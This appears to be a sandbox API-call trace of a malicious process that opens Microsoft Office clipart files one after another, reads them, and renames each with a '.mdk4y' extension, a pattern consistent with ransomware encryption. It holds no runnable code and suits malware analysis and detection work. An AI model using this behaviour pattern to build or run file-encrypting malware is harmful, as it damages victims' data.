[0167.854] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824308400000) returned 1 [0167.854] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304371.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0304371.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304371.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0304371.wmf.mdk4y")) returned 1 [0167.855] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0167.855] AreFileApisANSI () returned 1 [0167.855] GetACP () returned 0x4e4 [0167.855] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0304405.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0304405.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0167.855] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304405.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0304405.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0167.856] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824308600000) returned 1 [0167.856] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x103e, lpOverlapped=0x0) returned 1 [0167.909] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824313900000) returned 1 [0167.909] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824313900000) returned 1 [0167.910] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304405.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0304405.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304405.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0304405.wmf.mdk4y")) returned 1 [0167.911] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0167.911] AreFileApisANSI () returned 1 [0167.911] GetACP () returned 0x4e4 [0167.911] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0304853.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0304853.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0167.911] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304853.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0304853.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0167.912] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824314200000) returned 1 [0167.912] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x4a0e, lpOverlapped=0x0) returned 1 [0167.956] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824318600000) returned 1 [0167.956] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824318600000) returned 1 [0167.956] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304853.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0304853.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304853.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0304853.wmf.mdk4y")) returned 1 [0167.957] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0167.957] AreFileApisANSI () returned 1 [0167.957] GetACP () returned 0x4e4 [0167.957] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0304861.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0304861.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0167.957] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304861.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0304861.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0167.958] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824318800000) returned 1 [0167.958] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x2cf8, lpOverlapped=0x0) returned 1 [0167.969] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824319900000) returned 1 [0167.969] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824319900000) returned 1 [0167.969] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304861.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0304861.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304861.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0304861.wmf.mdk4y")) returned 1 [0167.970] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0167.970] AreFileApisANSI () returned 1 [0167.970] GetACP () returned 0x4e4 [0167.970] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0304875.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0304875.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0167.970] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304875.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0304875.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0167.971] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824320100000) returned 1 [0167.972] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x4f8e, lpOverlapped=0x0) returned 1 [0167.979] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824320900000) returned 1 [0167.979] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824320900000) returned 1 [0167.980] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304875.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0304875.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304875.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0304875.wmf.mdk4y")) returned 1 [0167.981] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0167.981] AreFileApisANSI () returned 1 [0167.981] GetACP () returned 0x4e4 [0167.981] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0309480.JPG", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0309480.JPG", lpUsedDefaultChar=0x37df4c) returned 12 [0167.981] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309480.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309480.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0167.982] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824321200000) returned 1 [0167.982] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x29c4, lpOverlapped=0x0) returned 1 [0167.990] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824322000000) returned 1 [0167.990] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824322000000) returned 1 [0167.991] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309480.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309480.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309480.JPG.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309480.jpg.mdk4y")) returned 1 [0167.992] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0167.992] AreFileApisANSI () returned 1 [0167.992] GetACP () returned 0x4e4 [0167.992] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0309567.JPG", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0309567.JPG", lpUsedDefaultChar=0x37df4c) returned 12 [0167.992] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309567.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309567.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0167.993] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824322300000) returned 1 [0167.993] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x544c, lpOverlapped=0x0) returned 1 [0168.059] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824328900000) returned 1 [0168.059] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824328900000) returned 1 [0168.060] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309567.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309567.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309567.JPG.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309567.jpg.mdk4y")) returned 1 [0168.061] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0168.061] AreFileApisANSI () returned 1 [0168.061] GetACP () returned 0x4e4 [0168.061] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0309585.JPG", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0309585.JPG", lpUsedDefaultChar=0x37df4c) returned 12 [0168.062] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309585.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309585.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0168.062] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824329200000) returned 1 [0168.062] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x9a8b, lpOverlapped=0x0) returned 1 [0168.137] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824336700000) returned 1 [0168.137] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824336700000) returned 1 [0168.138] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309585.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309585.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309585.JPG.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309585.jpg.mdk4y")) returned 1 [0168.139] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0168.139] AreFileApisANSI () returned 1 [0168.139] GetACP () returned 0x4e4 [0168.139] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0309598.JPG", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0309598.JPG", lpUsedDefaultChar=0x37df4c) returned 12 [0168.139] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309598.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309598.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0168.140] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824337100000) returned 1 [0168.141] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x81f0, lpOverlapped=0x0) returned 1 [0168.190] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824342000000) returned 1 [0168.190] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824342000000) returned 1 [0168.191] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309598.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309598.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309598.JPG.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309598.jpg.mdk4y")) returned 1 [0168.192] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0168.192] AreFileApisANSI () returned 1 [0168.192] GetACP () returned 0x4e4 [0168.192] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0309664.JPG", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0309664.JPG", lpUsedDefaultChar=0x37df4c) returned 12 [0168.192] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309664.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309664.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0168.193] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824342300000) returned 1 [0168.193] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xaabb, lpOverlapped=0x0) returned 1 [0168.236] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824346600000) returned 1 [0168.237] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824346600000) returned 1 [0168.237] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309664.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309664.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309664.JPG.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309664.jpg.mdk4y")) returned 1 [0168.239] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0168.239] AreFileApisANSI () returned 1 [0168.239] GetACP () returned 0x4e4 [0168.239] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0309705.JPG", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0309705.JPG", lpUsedDefaultChar=0x37df4c) returned 12 [0168.239] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309705.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309705.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0168.239] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824346900000) returned 1 [0168.239] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x4ada, lpOverlapped=0x0) returned 1 [0168.272] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824350200000) returned 1 [0168.272] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824350200000) returned 1 [0168.273] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309705.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309705.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309705.JPG.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309705.jpg.mdk4y")) returned 1 [0168.274] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0168.274] AreFileApisANSI () returned 1 [0168.274] GetACP () returned 0x4e4 [0168.274] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0309902.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0309902.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0168.274] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309902.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309902.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0168.275] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824350500000) returned 1 [0168.275] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1a00, lpOverlapped=0x0) returned 1 [0168.324] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824355400000) returned 1 [0168.325] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824355400000) returned 1 [0168.325] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309902.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309902.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309902.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309902.wmf.mdk4y")) returned 1 [0168.326] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0168.326] AreFileApisANSI () returned 1 [0168.326] GetACP () returned 0x4e4 [0168.326] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0309904.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0309904.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0168.326] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309904.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309904.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0168.327] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824355700000) returned 1 [0168.327] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x20e4, lpOverlapped=0x0) returned 1 [0168.339] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824356900000) returned 1 [0168.339] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824356900000) returned 1 [0168.339] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309904.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309904.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309904.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309904.wmf.mdk4y")) returned 1 [0168.340] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0168.340] AreFileApisANSI () returned 1 [0168.340] GetACP () returned 0x4e4 [0168.341] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0309920.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0309920.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0168.341] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309920.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309920.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0168.341] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824357100000) returned 1 [0168.341] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x2b38, lpOverlapped=0x0) returned 1 [0168.347] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824357700000) returned 1 [0168.347] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824357700000) returned 1 [0168.348] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309920.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309920.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309920.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309920.wmf.mdk4y")) returned 1 [0168.349] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0168.349] AreFileApisANSI () returned 1 [0168.349] GetACP () returned 0x4e4 [0168.349] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0313896.JPG", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0313896.JPG", lpUsedDefaultChar=0x37df4c) returned 12 [0168.349] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313896.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0313896.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0168.350] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824358000000) returned 1 [0168.350] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x911a, lpOverlapped=0x0) returned 1 [0168.354] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824358400000) returned 1 [0168.354] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824358400000) returned 1 [0168.355] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313896.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0313896.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313896.JPG.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0313896.jpg.mdk4y")) 